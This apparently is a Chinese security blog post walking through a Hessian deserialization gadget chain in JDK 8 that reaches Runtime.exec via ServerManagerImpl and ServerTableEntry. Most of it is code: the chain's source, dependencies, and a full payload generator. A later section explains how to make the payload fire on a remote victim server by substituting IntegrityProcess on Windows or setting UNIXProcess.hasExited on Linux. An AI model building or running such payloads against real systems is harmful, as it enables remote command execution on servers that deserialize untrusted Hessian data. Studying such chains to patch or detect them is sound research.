链子分析

com.sun.corba.se.impl.activation.ServerManagerImpl 类的 getActiveServers 方法代码如下:

public int[] getActiveServers()
{
    ServerTableEntry entry;
    int[] list = null;

    synchronized (serverTable) {
        // unlike vectors, list is not synchronized

        ArrayList servers = new ArrayList(0);

        Iterator serverList = serverTable.keySet().iterator();

        try {
            while (serverList.hasNext()) {
                Integer key = (Integer) serverList.next();
                // get an entry
                entry = (ServerTableEntry) serverTable.get(key);

                if (entry.isValid() && entry.isActive()) {
                    servers.add(entry);
                }
            }
        .............
}

调用了 com.sun.corba.se.impl.activation.ServerTableEntry 类的 isValid 方法,代码如下:

synchronized boolean isValid(){
    if ((state == ACTIVATING) || (state == HELD_DOWN)) {
        if (debug)
            printDebug( "isValid", "returns true" ) ;

        return true;
    }

    try {
        int exitVal = process.exitValue();
    } catch (IllegalThreadStateException e1) {
        return true;
    }

    if (state == ACTIVATED) {
        if (activateRetryCount < ActivationRetryMax) {
            if (debug)
                printDebug("isValid", "reactivating server");
            activateRetryCount++;
            activate();
            return true;
        }
        .................

其中会判断 process 属性对应的进程是否已经 exited,如果已经 exit 了则进入 activate 方法,代码如下:

synchronized void activate() throws org.omg.CORBA.SystemException {
    state = ACTIVATED;

    try {
        if (debug)
            printDebug("activate", "activating server");
        process = Runtime.getRuntime().exec(activationCmd);
    } catch (Exception e) {
        deActivate();
        if (debug)
            printDebug("activate", "throwing premature process exit");
        throw wrapper.unableToStartProcess() ;
    }
}

执行了 Runtime#exec 方法。链子中的 ProcessServerTableEntry 等类没有实现 Serializable 接口,所以只能在 Hessian 反序列化中使用。

链子的入口是 toString + getter ,这里用的是 ConcurrentHashMapjackson, 依赖如下:

<dependencies>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-core</artifactId>
        <version>2.19.2</version>
    </dependency>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-databind</artifactId>
        <version>2.19.2</version>
    </dependency>
    <dependency>
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-annotations</artifactId>
        <version>2.19.2</version>
    </dependency>
    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.28.0-GA</version>
    </dependency>
    <dependency>
        <groupId>com.caucho</groupId>
        <artifactId>hessian</artifactId>
        <version>4.0.66</version>
    </dependency>
</dependencies>

测试代码:

public class Main {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        ServerManagerImpl serverManager = (ServerManagerImpl) newInstanceWithoutConstructor(ServerManagerImpl.class);
        ServerTableEntry serverTableEntry = (ServerTableEntry) newInstanceWithoutConstructor(ServerTableEntry.class);
        HashMap map = new HashMap();
        map.put(1,serverTableEntry);

        Process process = new ProcessBuilder("cmd", "/c", "exit").start();

        setFieldValue(serverManager, "serverTable", map);
        setFieldValue(serverTableEntry, "process", process);
        setFieldValue(serverTableEntry,"state",2);
        setFieldValue(serverTableEntry, "activationCmd", "calc");

        POJONode poJoNode = new POJONode(serverManager);

        AudioFileFormat.Type t = new AudioFileFormat.Type(null, null);

        Map finalMap = makeMap(t, poJoNode);

        byte[] data = ser(finalMap);

        Files.write(Paths.get("ser.bin"), data);
    }

    public static ConcurrentHashMap makeMap ( Object v1, Object v2 ) throws Exception {
        // v1.equals(v2);
        Object conEntry1 = newInstanceWithoutConstructor(Class.forName("java.util.concurrent.ConcurrentHashMap$MapEntry"));
        Object conEntry2 = newInstanceWithoutConstructor(Class.forName("java.util.concurrent.ConcurrentHashMap$MapEntry"));
        setFieldValue(conEntry1, "key", v1);
        setFieldValue(conEntry1, "val", v2);
        setFieldValue(conEntry2, "key", v2);
        setFieldValue(conEntry2, "val", v1);
        ConcurrentHashMap s = new ConcurrentHashMap();
        setFieldValue(s, "sizeCtl", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.concurrent.ConcurrentHashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, conEntry1, conEntry1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, conEntry2, conEntry2, null));
        setFieldValue(s, "table", tbl);
        Field table = ConcurrentHashMap.class.getDeclaredField("table");
        table.setAccessible(true);
        table.set(s, tbl);
        return s;
    }

    private static byte[] ser(Object o) throws Exception{
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.getSerializerFactory().setAllowNonSerializable(true);
        output.writeObject(o);
        return bao.toByteArray();
    }

    private static Object unser(byte[] in) throws Exception{
        ByteArrayInputStream bai = new ByteArrayInputStream(in);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return o;
    }
}

测试发现,反序列化过程中会报错。

坑点分析

上面的链子中使用了 ProcessImpl 作为 Process 实现类,并且是在 Windows 环境下。该类的 exitValue 方法代码如下:

public int exitValue() {
    int exitCode = getExitCodeProcess(handle);
    if (exitCode == STILL_ACTIVE)
        throw new IllegalThreadStateException("process has not exited");
    return exitCode;
}

其中 getExitCodeProcess 方法是 native 方法,在 Windows 下会根据 handle 判断对应的进程是否已经 exited。上面的 POC 中是在生成序列化 Payload 时调用了 new ProcessBuilder().start() 获得了一个 ProcessImpl 实例。所以在实战环境中,受害者服务器与攻击者的机器自然不可能是同一台机器,也更不可能在同一进程下。所以反序列化时无法通过 handle 定位到相应进程,所以爆出了句柄无效的错误:

1

这种写法在本地复现时可能能触发成功,但实际上时不能用的。

这是可以用 Process 的另一个实现类:com.sun.deploy.nativesandbox.IntegrityProcess,该类的 exitValue 方法代码如下:

public int exitValue() {
    return 0;
}

直接返回 0,不会进行任何判断也不会报错。

修改代码为:

Class ProcessImplClass = Class.forName("com.sun.deploy.nativesandbox.IntegrityProcess");
Process process = (Process) newInstanceWithoutConstructor(ProcessImplClass);

这样生成的序列化 Payload 就可以在远程正常触发了。

而对于 Linux 环境下直接使用 UNIXProcess 类作为 Process 实现类即可,该类的 exitValue 方法代码如下:

public synchronized int exitValue() {
    if (!hasExited) {
        throw new IllegalThreadStateException("process hasn't exited");
    }
    return exitcode;
}

在生成序列化 Payload 时手动指定 hasExited 属性的值即可。

这条链子只有在 JDK8 及以下使用,高版本 JDK 把 ServerManagerImpl 等类删除了。

参考

https://www.n1ght.cn/2025/08/21/blackhat-JDD-hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96jdk_fastjson%E9%93%BE/

https://xz.aliyun.com/news/18935